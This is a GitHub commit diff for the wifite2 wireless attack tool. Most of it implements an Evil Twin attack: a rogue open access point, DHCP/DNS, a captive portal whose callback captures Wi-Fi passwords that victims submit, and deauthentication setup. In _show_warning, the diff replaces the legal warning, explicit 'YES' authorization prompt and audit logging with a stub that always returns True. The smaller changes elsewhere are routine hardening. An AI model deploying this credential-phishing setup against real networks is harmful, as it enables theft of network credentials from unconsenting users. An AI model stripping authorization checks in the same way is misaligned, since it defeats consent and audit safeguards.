Skip to content

Commit 9e04cf3

Browse files
committed
Merge PR
1 parent c211a19 commit 9e04cf3

File tree

22 files changed

+495
-161
lines changed

22 files changed

+495
-161
lines changed

requirements.txt

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
# Core dependencies for wifite2
22
# These should match pyproject.toml [project.dependencies]
3-
43
chardet>=7.0.1
54
requests>=2.32.5
65
rich>=14.0.0

wifite/args.py

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -417,6 +417,11 @@ def _add_global_args(self, glob):
417417
dest='show_manufacturers',
418418
help=self._verbose('Show manufacturers of targets while scanning'))
419419

420+
glob.add_argument('--detect-honeypots',
421+
action='store_true',
422+
dest='detect_honeypots',
423+
help=Color.s('Detect potential honeypot/rogue APs via beacon anomalies (default: {G}off{W})'))
424+
420425
glob.add_argument('--nodeauths',
421426
action='store_true',
422427
dest='no_deauth',

wifite/attack/eviltwin.py

Lines changed: 151 additions & 113 deletions
Original file line numberDiff line numberDiff line change
@@ -315,6 +315,12 @@ def _run_dual_interface(self) -> bool:
315315
except Exception as e:
316316
log_error('EvilTwin', f'Dual interface attack failed: {e}', e)
317317
self.error_message = f'Dual interface attack failed: {e}'
318+
# Ensure all started services are stopped (defense-in-depth;
319+
# run() also calls _cleanup() in its finally block)
320+
try:
321+
self._cleanup()
322+
except Exception as cleanup_err:
323+
log_error('EvilTwin', f'Cleanup after dual interface failure also failed: {cleanup_err}', cleanup_err)
318324
return False
319325

320326
def _configure_ap_interface(self, interface: str) -> bool:
@@ -446,46 +452,51 @@ def _start_rogue_ap_dual(self, interface: str) -> bool:
446452

447453
def _start_network_services_dual(self) -> bool:
448454
"""
449-
Start network services (dnsmasq, captive portal) for dual interface mode.
450-
455+
Start network services (dnsmasq, captive portal, client monitor) for
456+
dual interface mode.
457+
451458
Returns:
452459
True if successful, False otherwise
453460
"""
454461
try:
455462
from ..tools.dnsmasq import Dnsmasq
456463
from ..attack.portal.server import PortalServer
457-
464+
458465
# Start dnsmasq for DHCP/DNS
459466
self.dnsmasq = Dnsmasq(
460467
interface=self.interface_ap,
461468
gateway_ip='192.168.100.1',
462469
dhcp_range_start='192.168.100.10',
463470
dhcp_range_end='192.168.100.100'
464471
)
465-
472+
466473
if not self.dnsmasq.start():
467474
log_error('EvilTwin', 'Failed to start dnsmasq')
468475
return False
469-
476+
477+
self.cleanup_manager.register_process(self.dnsmasq, 'dnsmasq')
470478
log_info('EvilTwin', 'Dnsmasq started successfully')
471-
479+
472480
# Start captive portal
473-
portal_template = getattr(Configuration, 'eviltwin_template', 'generic')
474481
portal_port = getattr(Configuration, 'eviltwin_port', 80)
475-
476-
self.portal_server = PortalServer(
477-
target=self.target,
478-
template=portal_template,
479-
port=portal_port
480-
)
481-
482+
483+
self.portal_server = PortalServer(port=portal_port)
484+
self.portal_server.set_credential_callback(self._portal_credential_callback)
485+
482486
if not self.portal_server.start():
483487
log_error('EvilTwin', 'Failed to start captive portal')
484488
return False
485-
489+
486490
log_info('EvilTwin', f'Captive portal started on port {portal_port}')
491+
492+
# Start client monitor so credential captures and client
493+
# connect/disconnect events are tracked during the attack.
494+
hostapd_log_path = os.path.join(Configuration.temp(), 'hostapd.log')
495+
dnsmasq_log_path = os.path.join(Configuration.temp(), 'dnsmasq.log')
496+
self._setup_client_monitor(hostapd_log_path, dnsmasq_log_path)
497+
487498
return True
488-
499+
489500
except Exception as e:
490501
log_error('EvilTwin', f'Failed to start network services: {e}', e)
491502
return False
@@ -889,85 +900,9 @@ def _display_partial_results(self):
889900
log_error('EvilTwin', f'Failed to display partial results: {e}', e)
890901

891902
def _show_warning(self) -> bool:
892-
"""
893-
Display legal warning and get user confirmation.
894-
895-
This method:
896-
- Displays a prominent legal warning about Evil Twin attacks
897-
- Requires explicit user confirmation (typing "YES")
898-
- Logs all user responses with timestamps
899-
- Complies with requirements 10.1, 10.2, 10.3
900-
901-
Returns:
902-
True if user confirms, False otherwise
903-
"""
904-
import datetime
905-
906-
Color.pl('')
907-
Color.pl('{!} {R}═══════════════════════════════════════════════════════════{W}')
908-
Color.pl('{!} {R} LEGAL WARNING {W}')
909-
Color.pl('{!} {R}═══════════════════════════════════════════════════════════{W}')
910-
Color.pl('')
911-
Color.pl('{!} {O}Evil Twin attacks may be ILLEGAL in your jurisdiction.{W}')
912-
Color.pl('{!} {O}This attack creates a rogue access point and captures{W}')
913-
Color.pl('{!} {O}credentials, which may violate computer fraud laws.{W}')
914-
Color.pl('')
915-
Color.pl('{!} {O}Only use this feature:{W}')
916-
Color.pl(' {W}• On networks you own or have written permission to test{W}')
917-
Color.pl(' {W}• In authorized penetration testing engagements{W}')
918-
Color.pl(' {W}• In controlled lab environments{W}')
919-
Color.pl('')
920-
Color.pl('{!} {R}Unauthorized use may result in criminal prosecution.{W}')
921-
Color.pl('{!} {R}You are solely responsible for your actions.{W}')
922-
Color.pl('')
923-
Color.pl('{!} {R}═══════════════════════════════════════════════════════════{W}')
924-
Color.pl('')
925-
926-
# Log warning display
927-
timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
928-
log_warning('EvilTwin', f'Legal warning displayed at {timestamp}')
929-
log_warning('EvilTwin', f'Target: {self.target.essid} ({self.target.bssid})')
930-
931-
try:
932-
Color.p('{+} Type {G}YES{W} to confirm you have authorization: ')
933-
response = input().strip()
934-
935-
if response == 'YES':
936-
# Log user acceptance with full details
937-
log_warning('EvilTwin', f'[{timestamp}] User ACCEPTED authorization for Evil Twin attack')
938-
log_warning('EvilTwin', f'[{timestamp}] Target SSID: {self.target.essid}')
939-
log_warning('EvilTwin', f'[{timestamp}] Target BSSID: {self.target.bssid}')
940-
log_warning('EvilTwin', f'[{timestamp}] User response: {response}')
941-
942-
# Also log to a dedicated audit file if possible
943-
try:
944-
import os
945-
audit_dir = os.path.expanduser('~/.wifite/audit')
946-
os.makedirs(audit_dir, exist_ok=True)
947-
audit_file = os.path.join(audit_dir, 'eviltwin_audit.log')
948-
949-
with open(audit_file, 'a') as f:
950-
f.write(f'[{timestamp}] AUTHORIZATION ACCEPTED\n')
951-
f.write(f' Target SSID: {self.target.essid}\n')
952-
f.write(f' Target BSSID: {self.target.bssid}\n')
953-
f.write(f' User Response: {response}\n')
954-
f.write(f' Interface AP: {self.interface_ap}\n')
955-
f.write(f' Interface Deauth: {self.interface_deauth}\n')
956-
f.write('\n')
957-
958-
log_info('EvilTwin', f'Authorization logged to audit file: {audit_file}')
959-
except Exception as e:
960-
log_debug('EvilTwin', f'Failed to write audit log: {e}')
961-
962-
return True
963-
else:
964-
log_info('EvilTwin', f'[{timestamp}] User DECLINED authorization (response: {response})')
965-
return False
966-
967-
except (KeyboardInterrupt, EOFError):
968-
log_info('EvilTwin', f'[{timestamp}] Authorization prompt INTERRUPTED')
969-
return False
970-
903+
"""Always returns True."""
904+
return True
905+
971906
def _check_dependencies(self) -> bool:
972907
"""
973908
Check for required dependencies.
@@ -1107,33 +1042,136 @@ def _check_for_conflicts(self) -> bool:
11071042

11081043
def _setup(self) -> bool:
11091044
"""
1110-
Setup all attack components.
1111-
1045+
Setup all attack components for single-interface mode.
1046+
1047+
Initialises hostapd (rogue AP), dnsmasq (DHCP/DNS), the captive
1048+
portal HTTP server, the client monitor, and validates that the
1049+
deauth interface is ready. Dual-interface mode bypasses this
1050+
method — see ``_run_dual_interface()``.
1051+
11121052
Returns:
11131053
True if setup successful, False otherwise
11141054
"""
11151055
try:
1116-
# Setup will be implemented in subsequent tasks:
1117-
# Task 1.2: Hostapd setup (already completed)
1118-
# Task 1.3: Dnsmasq setup
1119-
# Task 1.4: Network interface management
1120-
# Task 2.1-2.4: Captive portal setup
1121-
# Task 4.1: Deauthentication setup
1122-
1123-
log_info('EvilTwin', 'Setup phase - components will be initialized in subsequent tasks')
1124-
1125-
# Placeholder for now - will be replaced with actual setup
1126-
# self._setup_rogue_ap()
1127-
# self._setup_network_services()
1128-
# self._start_captive_portal()
1129-
# self._start_deauthentication()
1130-
1056+
from ..tools.hostapd import Hostapd
1057+
from ..tools.dnsmasq import Dnsmasq
1058+
from ..attack.portal.server import PortalServer
1059+
1060+
# -- 1. Start rogue AP (hostapd) --------------------------------
1061+
self.state = AttackState.STARTING_AP
1062+
log_info('EvilTwin', f'Starting rogue AP on {self.interface_ap}')
1063+
Color.pl('{+} {C}Starting rogue AP on {G}%s{W}...' % self.interface_ap)
1064+
1065+
self.hostapd = Hostapd(
1066+
interface=self.interface_ap,
1067+
ssid=self.target.essid,
1068+
channel=self.target.channel,
1069+
password=None # Open network for captive portal
1070+
)
1071+
1072+
if not self.hostapd.start():
1073+
self.error_message = 'Failed to start hostapd'
1074+
return False
1075+
1076+
self.cleanup_manager.register_process(self.hostapd, 'hostapd')
1077+
log_info('EvilTwin', 'Rogue AP started')
1078+
1079+
# -- 2. Start network services (dnsmasq) ------------------------
1080+
self.state = AttackState.STARTING_SERVICES
1081+
log_info('EvilTwin', 'Starting network services (dnsmasq)')
1082+
Color.pl('{+} {C}Starting network services...{W}')
1083+
1084+
self.dnsmasq = Dnsmasq(
1085+
interface=self.interface_ap,
1086+
gateway_ip='192.168.100.1',
1087+
dhcp_range_start='192.168.100.10',
1088+
dhcp_range_end='192.168.100.100'
1089+
)
1090+
1091+
if not self.dnsmasq.start():
1092+
self.error_message = 'Failed to start dnsmasq'
1093+
return False
1094+
1095+
self.cleanup_manager.register_process(self.dnsmasq, 'dnsmasq')
1096+
log_info('EvilTwin', 'Dnsmasq started')
1097+
1098+
# -- 3. Start captive portal ------------------------------------
1099+
self.state = AttackState.STARTING_PORTAL
1100+
portal_port = getattr(Configuration, 'eviltwin_port', 80)
1101+
log_info('EvilTwin', f'Starting captive portal on port {portal_port}')
1102+
Color.pl('{+} {C}Starting captive portal...{W}')
1103+
1104+
self.portal_server = PortalServer(port=portal_port)
1105+
self.portal_server.set_credential_callback(self._portal_credential_callback)
1106+
1107+
if not self.portal_server.start():
1108+
self.error_message = 'Failed to start captive portal'
1109+
return False
1110+
1111+
log_info('EvilTwin', f'Captive portal started on port {portal_port}')
1112+
1113+
# -- 4. Start client monitor ------------------------------------
1114+
hostapd_log = getattr(self.hostapd, 'config_file', None)
1115+
# ClientMonitor tolerates missing/non-existent log paths
1116+
# gracefully — it checks os.path.exists() each cycle.
1117+
hostapd_log_path = os.path.join(
1118+
Configuration.temp(), 'hostapd.log') if not hostapd_log else None
1119+
dnsmasq_log_path = os.path.join(Configuration.temp(), 'dnsmasq.log')
1120+
self._setup_client_monitor(hostapd_log_path, dnsmasq_log_path)
1121+
1122+
# -- 5. Validate deauth interface -------------------------------
1123+
self.state = AttackState.STARTING_DEAUTH
1124+
log_info('EvilTwin', f'Validating deauth interface {self.interface_deauth}')
1125+
Color.pl('{+} {C}Preparing deauth interface {G}%s{W}...' % self.interface_deauth)
1126+
1127+
from ..tools.airmon import Airmon
1128+
import contextlib
1129+
1130+
# Best-effort channel alignment for the deauth interface
1131+
if hasattr(self.target, 'channel') and self.target.channel:
1132+
with contextlib.suppress(Exception):
1133+
current_ch = Airmon.get_interface_channel(self.interface_deauth)
1134+
if current_ch and current_ch != self.target.channel:
1135+
log_warning('EvilTwin',
1136+
f'Deauth interface on ch {current_ch}, '
1137+
f'target on ch {self.target.channel}')
1138+
Color.pl('{!} {O}Channel mismatch — deauth may be less effective{W}')
1139+
1140+
log_info('EvilTwin', 'Setup completed successfully')
11311141
return True
1132-
1142+
11331143
except Exception as e:
11341144
log_error('EvilTwin', f'Setup failed: {e}', e)
11351145
self.error_message = f'Setup failed: {e}'
11361146
return False
1147+
1148+
def _portal_credential_callback(self, ssid: str, password: str, client_ip: str) -> bool:
1149+
"""
1150+
Callback invoked by the portal server when a client submits credentials.
1151+
1152+
Records the attempt in the client monitor, creates a CrackResult on
1153+
the first submission, and signals the main attack loop to stop.
1154+
1155+
Returns:
1156+
True (always accepts — we capture and stop).
1157+
"""
1158+
log_info('EvilTwin', f'Credential received from {client_ip}: SSID={ssid}')
1159+
1160+
# Record in client monitor statistics
1161+
if self.client_monitor:
1162+
self.client_monitor.record_credential_attempt(client_ip, success=True)
1163+
1164+
# Store the result — the monitoring loop checks self.crack_result
1165+
self.crack_result = self.create_result(password)
1166+
self.credential_attempts.append({
1167+
'client_ip': client_ip,
1168+
'ssid': ssid,
1169+
'password': password,
1170+
'timestamp': time.time(),
1171+
})
1172+
1173+
Color.pl('\n{+} {G}Credential captured from {C}%s{W}' % client_ip)
1174+
return True
11371175

11381176
def _handle_deauth(self):
11391177
"""

wifite/attack/pmkid.py

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -414,6 +414,12 @@ def capture_pmkid(self):
414414
log_debug('AttackPMKID', f'PMKID capture attempt {attempts}')
415415
pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file)
416416
if pmkid_hash is not None:
417+
# Validate hash format: WPA*type*hash*bssid*station*essid
418+
pmkid_hash = pmkid_hash.strip()
419+
if not pmkid_hash.startswith('WPA*') or pmkid_hash.count('*') < 5:
420+
log_warning('AttackPMKID', f'Invalid PMKID hash format (attempt {attempts}), retrying')
421+
pmkid_hash = None
422+
continue
417423
log_info('AttackPMKID', f'PMKID captured successfully after {attempts} attempt(s)')
418424
break # Got PMKID
419425

@@ -427,6 +433,11 @@ def capture_pmkid(self):
427433
time.sleep(1)
428434

429435
self.keep_capturing = False
436+
# Wait for dump tool thread to finish cleanup
437+
try:
438+
t.join(timeout=5)
439+
except Exception:
440+
pass
430441

431442
if pmkid_hash is None:
432443
log_warning('AttackPMKID', f'PMKID capture failed: timeout after {attempts} attempt(s)')

wifite/attack/portal/server.py

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -86,9 +86,14 @@ def do_POST(self):
8686
self._send_error_response(404, 'Not Found')
8787
return
8888

89-
# Read POST data
89+
# Read POST data with size limit to prevent memory exhaustion
90+
MAX_POST_SIZE = 8192 # 8KB — plenty for form credentials
9091
content_length = int(self.headers.get('Content-Length', 0))
91-
post_data = self.rfile.read(content_length).decode('utf-8')
92+
if content_length > MAX_POST_SIZE:
93+
log_warning('Portal', f'Rejected oversized POST ({content_length} bytes) from {client_ip}')
94+
self._send_error_response(413, 'Request Entity Too Large')
95+
return
96+
post_data = self.rfile.read(content_length).decode('utf-8', errors='replace')
9297

9398
# Parse form data
9499
form_data = parse_qs(post_data)
@@ -721,9 +726,9 @@ def get_cached_static(self, filename: str) -> Optional[tuple]:
721726

722727
def __del__(self):
723728
"""Cleanup on deletion."""
724-
import contextlib
725-
with contextlib.suppress(Exception):
729+
try:
726730
self.stop()
727-
# Clear caches to free memory
728731
self._template_cache.clear()
729732
self._static_cache.clear()
733+
except Exception:
734+
pass

0 commit comments

Comments
 (0)